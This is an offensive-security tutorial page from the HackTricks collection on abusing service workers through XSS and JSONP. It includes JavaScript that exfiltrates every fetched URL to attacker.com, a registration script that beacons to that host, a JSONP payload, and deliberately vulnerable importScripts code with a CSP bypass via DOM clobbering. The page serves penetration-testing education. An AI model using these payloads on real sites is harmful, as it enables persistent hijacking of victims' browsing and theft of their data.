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hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

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Abusing Service Workers

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Basic Information

A service worker is a script that your browser runs in the background, separate from a web page, opening the door to features that don't need a web page or user interaction. (More info about what is a service worker here).
Then you could abuse service workers by creating/modifying them on the victim session inside the vulnerable web domain that grant the attacker control over all the pages the victim will load in that domain.

Check existent SWs

You can see them in the Service Workers field in the Application tab of Developer Tools. You can also look at chrome://serviceworker-internals.

Push Notifications

If the victim didn't grant push notifications permissions the service worker won't be able to receive communications from the server if the user doesn't access the attacker page again. This will prevent for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it.
However, if the victim grants push notifications permissions this could be a risk.

Attack Creating a Service Worker

In order to exploit this vulnerability you need to find:

  • A way to upload arbitrary JS files to the server and a XSS to load the service worker of the uploaded JS file
  • A vulnerable JSONP request where you can manipulate the output (with arbitrary JS code) and a XSS to load the JSONP with a payload that will load a malicious service worker.

In the following example I'm going to present a code to register a new service worker that will listen to the fetch event and will send to the attackers server each fetched URL (this is the code you would need to upload to the server or load via a vulnerable JSONP response):

self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});

And this is the code that will register the worker (the code you should be able to execute abusing a XSS). In this case a GET request will be sent to the attackers server notifying if the registration of the service worker was successful or not:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>

In case of abusing a vulnerable JSONP endpoint you should put the value inside var sw. For example:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

In an XSS situation, the 24 hour cache directive limit ensures that a malicious or compromised SW will outlive a fix to the XSS vulnerability by a maximum of 24 hours (assuming the client is online). Site operators can shrink the window of vulnerability by setting lower TTLs on SW scripts. We also encourage developers to build a kill-switch SW.

Abusing importScripts in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

This even bypasses CSP protections.

Example vulnerable code:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
  // attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

With DOM Clobbering

For more info about what DOM Clobbering is check:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

If the URL/domain where that the SW is using to call importScripts is inside a HTML element, it's possible to modify it via DOM Clobbering to make the SW load a script from your own domain.

For an example of this check the reference link.

References

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